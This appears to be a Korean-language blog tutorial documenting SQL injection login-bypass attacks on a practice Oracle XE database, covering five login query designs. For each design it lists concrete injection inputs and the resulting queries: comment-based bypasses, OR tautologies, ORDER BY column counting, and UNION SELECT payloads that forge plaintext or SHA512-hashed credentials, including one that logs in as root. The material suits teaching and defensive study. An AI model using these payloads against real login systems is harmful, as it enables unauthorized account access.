SQL Injection 로그인 우회
SQL Injection 이란?
- sql 질의문을 삽입하는 공격이다. 즉 sql 질의문에 악의적인 코드를 배치하는 공격이다.
 - 웹 해킹 기술중 하나이다.
 
목적
- 정보 유출
 - 저장된 데이터 유출 및 조작
 - 인증 우회
 
실습 환경
- DB 서버 : Rocky-8.7
 - DB 버전 : oracle-database-xe-21c
 
members 테이블 구조
| sid | id | password | info | hashpwd | |
|---|---|---|---|---|---|
| integer PRIMARY KEY | VARCHAR(60) | VARCHAR(60) | VARCHAR(60) | VARCHAR(60) | CHAR(128) | 
- hashpwd 컬럼은 password를 해시(SHA512) 암호화를 한 것 이다.
 - 실제로 유저 정보를 저장하기 위한 테이블을 구성할 때는 해시 암호화된 비밀번호만 저장해야한다.
 
로그인 방식에 따른 sql 인젝션 공격방식
- 식별
    
- 많은 데이터 중에서 특별한 데이터를 가려내는것.
 
 - 인증
    
- 그 사람이 맞는지 확인하는 작업. ( 비밀번호 인증 )
 
 
1. 식별과 인증을 동시에 할 때
- 하나의 
sql 질의문으로 식별과 인증을 완료한다. 
로그인방법
select * from members where id='아이디' and PASSWORD='비번'
- 아이디와 비밀번호를 동시에 일치하면 사용자 정보가 나온다. 이러한 정보가 나오면 로그인에 성공한 것이다.
 - 하지만 아무 정보도 안나오면 로그인에 실패 한 것이다.
 
로그인 코드
- 다음 코드를 통해 인증을 한다.
 var member = auth.authAndMember(id, pwd);
정상적인 로그인
공격 방법
- 주석을 이용한 인증우회(1)
 
| 입력 | |
|---|---|
| id | user2'-- | 
    
| pwd | ` ` | 
- 서버에서 완성된 쿼리문
select * from members where id='user2'--' and PASSWORD=' '

 
- 주석을 이용한 인증우회(2)
 
| 입력 | |
|---|---|
| id | user2'/* | 
    
| pwd | */and '1'='1 | 
    
- 서버에서 완성된 쿼리문
select * from members where id='user2'/*' and password='*/and '1'='1';

 - 블럭 단위로 주석처리 하였다.
 
- or 이용한 인증우회
 
| 입력 | |
|---|---|
| id | user2' or '1'='1 | 
    
| pwd | ` ` | 
- 서버에서 완성된 쿼리문
select * from members where id='user2' or '1'='1' and PASSWORD=' '

 - 비교연산자 우선순위에 의해 and 연산자 부분을 먼저 계산을 하고 or 연산을 계산한다.
select * from members where (id='user2' or ('1'='1' and PASSWORD=' ')) 
2. 식별과 인증을 따로 할 때
로그인방법
- 유저가 입력한 id와
 sql 질의문을 통해 id 정보와 비밀번호 정보를 불러온다.select id,PASSWORD from members where id='아이디'- 입력받은 비밀번호와 db 에서 불러온 비밀번호를 비교하여 일치하는지 확인한다.
 - 일치하면 db 에서 불러온 id 정보를 통해 나머지 유저 정보도 불러온다.
 select * from members where id='db에서 불러온 id정보';
로그인 코드
정상적인 로그인
union을 이용한 우회 공격 전 정확한 컬럼 수 찾기
order by를 이용한다.user2' order by 2 --로그인 성공user2' order by 3 --로그인 실패- 즉 컬럼의 수가 2개인 것을 확인할 수 있다.
 
공격 방법
- union + 주석 사용
 
| 입력 | |
|---|---|
| id | x' union select 'user2','user2' from dual --  | 
    
| pwd | user2 | 
    
- 서버에서 완성된 쿼리문
select id,PASSWORD from members where id='x' union select 'user2','user2' from dual where '1'='1'

 
- union + where 사용
 
| 입력 | |
|---|---|
| id | x' union select 'user2','user2' from dual where '1'='1 | 
    
| pwd | user2 | 
    
- 서버에서 완성된 쿼리문
select id,PASSWORD from members where id='x' union select 'user2','user2' from dual where '1'='1'

 
3. 식별과 인증을 동시에 할 때(+ HASH 암호화된 비밀번호)
- 웹서버는 사용자 사용하는 비밀번호를 HASH 암호화 하여 서버에 저장한다.
 
로그인 방법
- 하나의
 sql 질의문으로 식별과 인증을 완료한다는 것이다.select * from members where id='입력id' and hashpwd=standard_hash('입력 pwd','SHA512');- 웹 서버에서 pwd 를 바로 비교하는것이 아닌 SHA512 알고리즘으로 HASH 암호화한 값을 비교한다.
 - 아이디와 비밀번호를 동시에 일치하면 유저 정보가 나온다. 이러한 정보가 나오면 로그인에 성공한 것이다.
 - 하지만 아무 정보도 안나오면 로그인에 실패 한 것이다.
 
로그인 코드
정상적인 로그인
![]()
nvl 함수
- nvl 함수는 값이 null 인 경우 지정값을 출력하고 , 값이 null 아니면 그대로 출력한다.
 - nvl(값, 지정값)
 - ‘1’ 은 null 이 아니다. 따라서 1이 출력된다.
 
공격 방법
- 주석사용
 
| 입력 | |
|---|---|
| id | user2' --  | 
    
| pwd | ` ` | 
- 서버에서 완성된 쿼리문
select id from members where id='user2' -- ' and hashpwd=standard_hash('ksdjfaklsf','SHA512')

 
- 주석 + or + nvl사용 (members 테이블의 가장 상위에 있는 root 로 로그인된다.)
 
| 입력 | |
|---|---|
| id | user2'/* | 
    
| pwd | */ or '1'=nvl('1 | 
    
- 서버에서 완성된 쿼리문
select id from members where id='user2'/*' and hashpwd=standard_hash('*/ or '1'=nvl('1','SHA512')

 - 여기서 user2 사용자가 아닌 root로 로그인 된 것을 확인할 수 있다.
 - 서버에서 완성된 쿼리는 모든 사용자 정보를 불러오고 서버는 사용자 정보들 중 맨위에 존재하는 사용자의 정보를 가져와 보여준다.
 - 
    
테이블 맨위에는 root 사용자가 존재하여 root 계정으로 로그인된 것 이다.
 - 주석 + and + nvl사용
 
| 입력 | |
|---|---|
| id | user2'/* | 
    
| pwd | */ and '1'=nvl('1 | 
    
- 서버에서 완성된 쿼리문
select id from members where id='user2'/*' and hashpwd=standard_hash('*/ and '1'=nvl('1','SHA512')

 
- or 이용하기
 
| 입력 | |
|---|---|
| id | user2' or '1'='1 | 
    
| pwd | ` ` | 
- 서버에서 완성된 쿼리문
select id from members where id='user2' or '1'='1' and hashpwd=standard_hash(' ','SHA512')

 
4. 식별과 인증을 따로 할 때(+ 비밀번호 SHA512 하여 table에 저장)
로그인 방법
- 유저가 입력한 id와
 sql 질의문을 통해 id 정보와 해시로 저장된 비밀번호 정보를 불러온다.select id,hashpwd from members where id='아이디'- 유저가 입력한 비밀번호를 해시 암호화 알고리즘을 통해 암호화 한다.
 - 유저가 입력한 해시화 된 비밀번호와 db에서 불러온 해시화된 비밀번호를 비교한다.
 - 서로 일치하면 db 에서 불러온
 id정보를 이용하여 나머지 유저 정보도 불러온다.
코드
정상적인 로그인
![]()
정확한 컬럼 수 찾기
order by를 이용한다.user2' order by 2 --로그인 성공- 컬럼수가 2개라는 것을 알 수 있다.
 
공격방법
- union 을 이용한다.
 
| 입력 | |
|---|---|
| id | 2' union select 'user2', cast(standard_hash('user2','SHA512') as char(128)) from dual -- | 
    
| pwd | user2 | 
    
- 서버에서 완성된 쿼리문
select id,hashpwd from members where id='x' union select 'user2', cast(standard_hash('user2','SHA512') as char(128)) from dual -- '

 
- 직접 해시 암호한 값을 넣어준다.
 
| 입력 | |
|---|---|
| id | 2' union select 'user2', hash('a','SHA512') from dual -- | 
    
| pwd | a | 
    
- hash(‘a’,’SHA512’) = 
1F40FC92DA241694750979EE6CF582F2D5D7D28E18335DE05ABC54D0560E0F5302860C652BF08D560252AA5E74210546F369FBBBCE8C12CFC7957B2652FE9A75 - 서버에서 완성된 쿼리문
select id,hashpwd from members where id='2' union select 'user2', '1F40FC92DA241694750979EE6CF582F2D5D7D28E18335DE05ABC54D0560E0F5302860C652BF08D560252AA5E74210546F369FBBBCE8C12CFC7957B2652FE9A75' from dual --'

 
- 주석 없이 하기
 
| 입력 | |
|---|---|
| id | 2' union select 'user2', cast(standard_hash('user2','SHA512') as char(128)) from dual where '1'='1  | 
    
| pwd | user2 | 
    
- 
    
서버에서 완성된 쿼리문
select id,hashpwd from members where id='2' union select 'user2', cast(standard_hash('user2','SHA512') as char(128)) from dual where '1'='1'

 - standard_hash(‘user2’,’SHA512’) 로 나오는 결과와 table 에 저장된 hash 로 암호화 된 패스워드는 타입이 다르다.
 - 따라서 cast 함수를 이용하여 타입을 char(128) 로 변경하였다.
 
5. 식별과 인증을 따로 할 때(+ id 두번 확인하기 )
로그인방법
- 유저가 입력한 id와
 sql 질의문을 통해 id 정보와 비밀번호 정보를 불러온다.select id,PASSWORD from members where id='아이디' and id='아이디'- 여기서 id를 두번 확인한 것을 알 수 있다.
 - 입력받은 비밀번호와 db 에서 불러온 비밀번호를 비교하여 일치하는지 확인한다.
 - 일치하면 db 에서 불러온 id 정보를 통해 나머지 유저 정보도 불러온다.
 select * from members where id='db에서 불러온 id정보';
로그인 코드
정상적인 로그인
![]()
정확한 컬럼 수 찾기
order by를 이용한다.user2' order by 2 --로그인 성공user2' order by 3 --로그인 실패- 즉 컬럼의 수는 2개 라는것을 알 수 있다.
 
공격방법
- union + 주석 사용
 
| 입력 | |
|---|---|
| id | x' union select 'user2','a' from dual --  | 
    
| pwd | a | 
    
- 서버에서 완성된 쿼리문
select id,PASSWORD from members where id='x' union select 'user2','a' from dual -- ' and id='x' union select 'user2','a' from dual -- '

 
특징
- id를 한번확인 하는 방법보다 2번 확인을 하면 공격자가 인증 쿼리 예측하기 힘들다.
 where문을 추가할 수 없다.
id에 다음 쿼리를 입력하여도 로그인이 안된다.
x' union select 'user2','user2' from dual where '1'='1
단방향 해시 함수
- 임이의 길이를 갖는 데이터를 고정된 길이의 데이터로 변환시켜주는 함수이다.
 - 위변조 여부를 판별하거나, 무결성을 검증하는데 사용된다.
 - 비밀번호를 서버에 안전하게 저장하기 위해 사용한다.
 - MD5, SHA1, SHA256, SHA512 등이 있다.
 
SQL 차이
| mysql | oracle db | |
|---|---|---|
| 한줄 주석 | #, – | – | 
| 부분 주석 | /**/ | /**/ | 
| SHA512 | SHA2(‘A’,512) | standard_hash(‘A’,’SHA512’ ) | 
| 더미 테이블 | select ‘a’, ‘b’ | select ‘a’,’b’ from dual | 
Oracle SQL 연산자 우선순위
| 연산자 | 설명 | 
|---|---|
| 산술연산자 | ** * , /, +, - ** | 
| 연결연산자 | || | 
| 비교연산자 | =, > , < , >= , <= , <> , != , ^= | 
| 논리연사자 | BETWEEN, NOT, AND, OR | 
| SQL 연산자 | LIKE, NOT LIKE, IN, EXISTS | 
| 집합 연산자 | UNION ALL, UNION, INTERSECT, MINUS | 
| 순서 | 연산자 | 
|---|---|
| 1 | 괄호 | 
| 2 | * , / | 
| 3 | + , - | 
| 4 | = , <> , < , > , <= , >= | 
| 5 | IS (IS NULL, IS NOT NULL, IS EMPTY, IS NOT EMPTY) | 
| 6 | BETWEEN | 
| 7 | NOT | 
| 8 | AND | 
| 9 | OR | 
참고 사이트
- ORACLE의 연산자 우선순위 (tistory.com)
 - 오라클 - 11. 오라클의 연산자우선순위 : 네이버 블로그 (naver.com)
 - Operator precedence rules (oracle.com)
 - MySQL 주석 (tistory.com)
 - 해시 함수는 무엇인가?
 - 오라클 NVL, NVL2 함수 사용방법 (null, 공백, 치환) (tistory.com)
 - 데이터 형식 변환(데이터베이스 엔진) - SQL Server
 - oracle 비교 함수 (DECODE(), LEAST(), GREATEST(), NVL(), WIDTH_BUCKET() )
 - php - Storing SHA-512 Hashes in MySQL - Stack Overflow
 - MySQL Function 암호화 알고리즘(AES, MD5, SHA1, SHA2) (jiniworld.me)
 - Oracle STANDARD_HASH 설명 : 오라클 함수 (tistory.com)
 - MySQL Function암호화 알고리즘(AES, MD5, SHA1, SHA2) (jiniworld.me)
 - SQL Injection 기초 - MS/ORACLE/MY SQL , 시간지연, 주석 등 (tistory.com)
 - SQL 정렬하기 order by 쿼리 사용법 1, 2 desc 의미 (tistory.com)
 















댓글남기기